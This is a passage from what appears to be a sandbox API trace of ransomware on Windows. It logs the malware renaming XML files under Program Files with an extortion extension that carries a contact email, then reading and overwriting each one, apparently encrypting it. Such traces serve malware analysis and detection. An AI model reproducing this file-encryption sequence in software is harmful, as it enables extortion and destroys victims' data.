ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x19e38, dwReserved0=0x95c7496, dwReserved1=0x711d228, cFileName="SUMIPNTG.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SUMIPN~2.FIR")) returned 0x6d5280 [0216.725] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0216.725] Sleep (dwMilliseconds=0x1) [0218.307] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CO\\toastreviewsettings.xml", len=0x7c | out: pbstr=0x673ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CO\\toastreviewsettings.xml") returned 1 [0218.307] GetProcessHeap () returned 0x630000 [0218.307] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x507c) returned 0x6fe3bb0 [0218.307] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CO\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-co\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x620 [0218.308] CloseHandle (hObject=0x620) returned 1 [0218.308] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0218.308] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CO\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-co\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CO\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-co\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0218.309] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0218.309] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CO\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fc6c | out: lpFindFileData=0x673fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5400 [0218.309] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0218.309] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CO\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-co\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x620 [0218.310] GetProcessHeap () returned 0x630000 [0218.310] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x74aa268 [0218.310] GetProcessHeap () returned 0x630000 [0218.310] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x74aa440 [0218.310] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.310] ReadFile (in: hFile=0x620, lpBuffer=0x74aa268, nNumberOfBytesToRead=0x1a0, lpNumberOfBytesRead=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aa268*, lpNumberOfBytesRead=0x673ff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0219.871] GetProcessHeap () returned 0x630000 [0219.871] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73189b8 [0219.871] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.871] WriteFile (in: hFile=0x620, lpBuffer=0x74aa440*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aa440*, lpNumberOfBytesWritten=0x673ff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0219.872] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.872] WriteFile (in: hFile=0x620, lpBuffer=0x74aa5df*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aa5df*, lpNumberOfBytesWritten=0x673ff0c*=0x20, lpOverlapped=0x0) returned 1 [0219.872] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.872] WriteFile (in: hFile=0x620, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x673ff0c*=0x4, lpOverlapped=0x0) returned 1 [0219.872] CloseHandle (hObject=0x620) returned 1 [0219.873] GetProcessHeap () returned 0x630000 [0219.873] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74aa440 | out: hHeap=0x630000) returned 1 [0219.873] GetProcessHeap () returned 0x630000 [0219.873] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74aa268 | out: hHeap=0x630000) returned 1 [0219.873] GetProcessHeap () returned 0x630000 [0219.873] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73189b8 | out: hHeap=0x630000) returned 1 [0219.873] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0219.873] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CO\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fcc4 | out: lpFindFileData=0x673fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x49016650, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1e2, dwReserved0=0x673fd20, dwReserved1=0x74aa268, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d53c0 [0219.873] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0219.873] Sleep (dwMilliseconds=0x1) [0219.885] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CH\\toastreviewsettings.xml", len=0x7c | out: pbstr=0x673ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CH\\toastreviewsettings.xml") returned 1 [0219.885] GetProcessHeap () returned 0x630000 [0219.885] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50ac) returned 0x6fe3bb0 [0219.885] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CH\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-ch\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x620 [0219.886] CloseHandle (hObject=0x620) returned 1 [0219.886] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0219.886] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CH\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-ch\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CH\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-ch\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0219.887] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0219.887] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CH\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fc6c | out: lpFindFileData=0x673fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2c9637, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1b3, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5400 [0219.887] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0219.887] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CH\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-ch\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x620 [0219.887] GetProcessHeap () returned 0x630000 [0219.887] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x74aa090 [0219.887] GetProcessHeap () returned 0x630000 [0219.887] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x74aa268 [0219.887] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.887] ReadFile (in: hFile=0x620, lpBuffer=0x74aa090, nNumberOfBytesToRead=0x1a0, lpNumberOfBytesRead=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aa090*, lpNumberOfBytesRead=0x673ff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0219.890] GetProcessHeap () returned 0x630000 [0219.890] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73189b8 [0219.890] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.890] WriteFile (in: hFile=0x620, lpBuffer=0x74aa268*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aa268*, lpNumberOfBytesWritten=0x673ff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0219.890] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.890] WriteFile (in: hFile=0x620, lpBuffer=0x74aa407*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aa407*, lpNumberOfBytesWritten=0x673ff0c*=0x20, lpOverlapped=0x0) returned 1 [0219.890] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.891] WriteFile (in: hFile=0x620, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x673ff0c*=0x4, lpOverlapped=0x0) returned 1 [0219.891] CloseHandle (hObject=0x620) returned 1 [0219.894] GetProcessHeap () returned 0x630000 [0219.894] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74aa268 | out: hHeap=0x630000) returned 1 [0219.894] GetProcessHeap () returned 0x630000 [0219.894] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74aa090 | out: hHeap=0x630000) returned 1 [0219.894] GetProcessHeap () returned 0x630000 [0219.894] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73189b8 | out: hHeap=0x630000) returned 1 [0219.894] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0219.894] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CH\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fcc4 | out: lpFindFileData=0x673fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2c9637, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4903a955, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x673fd20, dwReserved1=0x74aa090, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d4f40 [0219.894] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0219.895] Sleep (dwMilliseconds=0x1) [0219.903] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CH\\toastbeginupgrade.xml", len=0x7a | out: pbstr=0x673ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CH\\toastbeginupgrade.xml") returned 1 [0219.903] GetProcessHeap () returned 0x630000 [0219.903] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50a4) returned 0x6fe3bb0 [0219.903] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CH\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-ch\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x620 [0219.904] CloseHandle (hObject=0x620) returned 1 [0219.904] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0219.904] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CH\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-ch\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CH\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-ch\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0219.904] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0219.905] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CH\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fc6c | out: lpFindFileData=0x673fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2c9637, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5280 [0219.905] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0219.905] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CH\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-ch\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x620 [0219.905] GetProcessHeap () returned 0x630000 [0219.905] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d6db8 [0219.905] GetProcessHeap () returned 0x630000 [0219.905] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d72c8 [0219.905] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.905] ReadFile (in: hFile=0x620, lpBuffer=0x6d6db8, nNumberOfBytesToRead=0x240, lpNumberOfBytesRead=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d6db8*, lpNumberOfBytesRead=0x673ff0c*=0x240, lpOverlapped=0x0) returned 1 [0219.909] GetProcessHeap () returned 0x630000 [0219.909] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73171a8 [0219.909] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.909] WriteFile (in: hFile=0x620, lpBuffer=0x6d72c8*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d72c8*, lpNumberOfBytesWritten=0x673ff0c*=0x240, lpOverlapped=0x0) returned 1 [0219.909] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.909] WriteFile (in: hFile=0x620, lpBuffer=0x6d7507*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d7507*, lpNumberOfBytesWritten=0x673ff0c*=0x20, lpOverlapped=0x0) returned 1 [0219.909] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.909] WriteFile (in: hFile=0x620, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x673ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x673ff0c*=0x4, lpOverlapped=0x0) returned 1 [0219.909] CloseHandle (hObject=0x620) returned 1 [0219.909] GetProcessHeap () returned 0x630000 [0219.909] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d72c8 | out: hHeap=0x630000) returned 1 [0219.909] GetProcessHeap () returned 0x630000 [0219.909] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d6db8 | out: hHeap=0x630000) returned 1 [0219.909] GetProcessHeap () returned 0x630000 [0219.909] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73171a8 | out: hHeap=0x630000) returned 1 [0219.909] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0219.910] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CH\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fcc4 | out: lpFindFileData=0x673fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2c9637, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x49060bb0, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x27c, dwReserved0=0x673fd20, dwReserved1=0x6d6db8, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d4f40 [0219.910] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0219.910] Sleep (dwMilliseconds=0x1) [0219.916] SysReAllocStringLen (in: pbstr=0x673ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CA\\toastreviewsettings.xml", len=0x7c | out: pbstr=0x673ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CA\\toastreviewsettings.xml") returned 1 [0219.916] GetProcessHeap () returned 0x630000 [0219.916] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x509c) returned 0x6fe3bb0 [0219.916] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CA\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-ca\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x620 [0219.917] CloseHandle (hObject=0x620) returned 1 [0219.917] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0219.917] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CA\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-ca\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CA\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-ca\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0219.919] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x673ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0219.920] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CA\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x673fc6c | out: lpFindFileData=0x673fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2c9637, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1d2, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d51c0 [0219.920] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0219.921] CreateFileW (lpFileName="C:\\Program 